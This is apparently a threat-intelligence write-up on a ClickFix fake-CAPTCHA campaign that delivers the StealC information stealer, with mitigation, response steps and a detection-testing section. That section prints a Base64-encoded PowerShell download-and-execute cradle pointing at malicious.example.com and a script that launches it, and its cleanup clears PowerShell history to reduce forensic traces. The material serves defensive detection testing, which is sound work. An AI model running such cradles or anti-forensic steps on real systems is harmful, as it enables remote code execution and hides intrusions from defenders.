SOC Prime Bias: Medium

16 Feb 2026 17:47

How ClickFix Opens the Door to Stealthy StealC Information Stealer

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
How ClickFix Opens the Door to Stealthy StealC Information Stealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

A multi-stage, fileless intrusion starts on a compromised Vietnamese restaurant site hosting a fake CAPTCHA. Victims are coaxed into running PowerShell that pulls position-independent shellcode, which reflectively loads a 64-bit downloader and injects the StealC information stealer into svchost.exe. StealC collects browser credentials, cryptocurrency wallet data, Steam and Outlook credentials, host details, and screenshots, then exfiltrates via RC4-encrypted HTTP traffic.

Investigation

Researchers dissected the JavaScript and PowerShell loader, confirmed use of the Donut shellcode framework, and followed the downloader’s HTTP fetches to attacker-controlled URLs. The stealer appears to be a builder-driven malware-as-a-service with modular theft features plus a self-deletion routine. Hunting notes include a User-Agent value of “Loader” and specific registry keys tied to staging and execution.

Mitigation

Recommended defenses include limiting or disabling clipboard paste in browsers, tightening PowerShell execution policies, and alerting on unusual User-Agent strings. Add detection for reflective PE loading and process injection, and enforce outbound HTTP inspection for Base64-encoded payload delivery. User education on fake CAPTCHA lures should be treated as a control, not an afterthought.

Response

If discovered, isolate the endpoint, stop the injected svchost.exe instance, capture memory dumps for shellcode review, and block the malicious domains/URLs. Reset exposed credentials, review registry and browser artifacts for impact, and watch for residual C2 traffic.

"graph TB %% Class definitions classDef technique fill:#99ccff classDef action fill:#ffcc99 classDef process fill:#dddddd tech_content_injection["<b>Technique</b> – <b>T1659 Content Injection</b>: Malicious JavaScript injected into compromised website delivering fake CAPTCHA."] class tech_content_injection technique attack_user_exec["<b>Action</b> – <b>T1204.004 User Execution: Malicious Copy and Paste</b>: Victim runs PowerShell command via Win+R and Ctrl+V."] class attack_user_exec action tech_powershell["<b>Technique</b> – <b>T1059.001 PowerShell</b>: Executes PowerShell script that downloads an inu2011memory loader."] class tech_powershell technique tech_obfuscation["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b>: Shellcode and strings encrypted, dynamic API resolution (T1027.007), stripped payloads (T1027.008)."] class tech_obfuscation technique tech_process_injection["<b>Technique</b> – <b>T1055 Process Injection</b>: Portable Executable Injection (T1055.002) and Process Hollowing (T1055.012) into svchost.exe."] class tech_process_injection technique tech_masquerading["<b>Technique</b> – <b>T1036 Masquerading</b>: Use of legitimate svchost.exe process to hide malicious activity."] class tech_masquerading technique tech_cred_browser["<b>Technique</b> – <b>T1555.003 Credentials from Web Browsers</b>: Theft of stored browser credentials."] class tech_cred_browser technique tech_steal_cookie["<b>Technique</b> – <b>T1539 Steal Web Session Cookie</b>: Capture authentication cookies from the browser."] class tech_steal_cookie technique tech_use_cookie["<b>Technique</b> – <b>T1550.004 Use Alternate Authentication Material: Web Session Cookie</b>: Reuse stolen cookies for authenticated access."] class tech_use_cookie technique tech_browser_discovery["<b>Technique</b> – <b>T1217 Browser Information Discovery</b>: Gather information about installed browsers and their configurations."] class tech_browser_discovery technique tech_archive["<b>Technique</b> – <b>T1560 Archive Collected Data</b>: Compress or archive collected data before exfiltration."] class tech_archive technique tech_exfil_c2["<b>Technique</b> – <b>T1041 Exfiltration Over C2 Channel</b>: Transfer data using the commandu2011andu2011control channel."] class tech_exfil_c2 technique tech_encrypted_channel["<b>Technique</b> – <b>T1573 Encrypted Channel</b>: Protect exfiltration with encryption (Base64+RC4)."] class tech_encrypted_channel technique tech_exfil_alt["<b>Technique</b> – <b>T1048.001 Exfiltration Over Alternative Protocol</b>: Use alternative protocols for data exfiltration."] class tech_exfil_alt technique tech_file_deletion["<b>Technique</b> – <b>T1070.004 File Deletion</b>: Delete files and artifacts to cover tracks."] class tech_file_deletion technique tech_clear_persistence["<b>Technique</b> – <b>T1070.009 Clear Persistence</b>: Remove persistence mechanisms after execution."] class tech_clear_persistence technique %% Connections showing attack flow tech_content_injection –>|leads_to| attack_user_exec attack_user_exec –>|executes| tech_powershell tech_powershell –>|uses| tech_obfuscation tech_obfuscation –>|enables| tech_process_injection tech_process_injection –>|uses| tech_masquerading tech_process_injection –>|enables| tech_cred_browser tech_process_injection –>|enables| tech_steal_cookie tech_cred_browser –>|supports| tech_browser_discovery tech_browser_discovery –>|feeds| tech_archive tech_archive –>|compressed_data| tech_exfil_c2 tech_steal_cookie –>|enables| tech_use_cookie tech_use_cookie –>|leads_to| tech_exfil_c2 tech_exfil_c2 –>|protected_by| tech_encrypted_channel tech_exfil_c2 –>|uses| tech_exfil_alt tech_exfil_c2 –>|triggers| tech_file_deletion tech_file_deletion –>|also| tech_clear_persistence "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    An attacker receives a phishing email containing a short URL. The goal is to install a remote PowerShell backdoor without alerting the user. The attacker crafts a Base64‑encoded PowerShell payload that downloads a malicious script from a C2 server and immediately executes it using iex(irm…). By using the -EncodedCommand switch, the attacker hides the actual commands from casual inspection, and the iex(irm…) pattern directly matches the detection rule.

    1. Create the malicious script (payload.ps1) hosted on http://malicious.example.com/payload.ps1.

    2. Encode the launcher command:

      $launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"
      $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher)
      $encoded = [Convert]::ToBase64String($bytes)
      Write-Output $encoded   # This value is used in the next step
    3. Execute the encoded command on the target:

      powershell.exe -EncodedCommand <Base64StringFromStep2>

    This generates a Sysmon ProcessCreate event where CommandLine contains -EncodedCommand and the decoded text includes iex(irm…), satisfying the Sigma rule.

  • Regression Test Script:

    #-----------------------------------------------------------
    # Simulation Script – Triggers PowerShell EncodedCommand + iex(irm)
    #-----------------------------------------------------------
    
    # 1. Define malicious script URL (replace with your test server)
    $maliciousUrl = "http://malicious.example.com/payload.ps1"
    
    # 2. Build the one‑liner that downloads and executes the script
    $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))"
    
    # 3. Encode the command in Base64 (Unicode)
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
    $b64   = [Convert]::ToBase64String($bytes)
    
    # 4. Launch PowerShell with the encoded command
    Write-Host "Executing encoded command..."
    Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" `
                  -ArgumentList "-EncodedCommand $b64" `
                  -NoNewWindow -Wait
    
    Write-Host "Simulation completed."
  • Cleanup Commands:

    # Remove any temporary files created by the simulated payload (if any)
    # Example: delete the downloaded script if it was saved locally
    $tempPath = "$env:TEMPpayload.ps1"
    if (Test-Path $tempPath) {
        Remove-Item $tempPath -Force
        Write-Host "Removed temporary payload."
    }
    
    # Optionally, clear the PowerShell history to reduce forensic trace
    Clear-History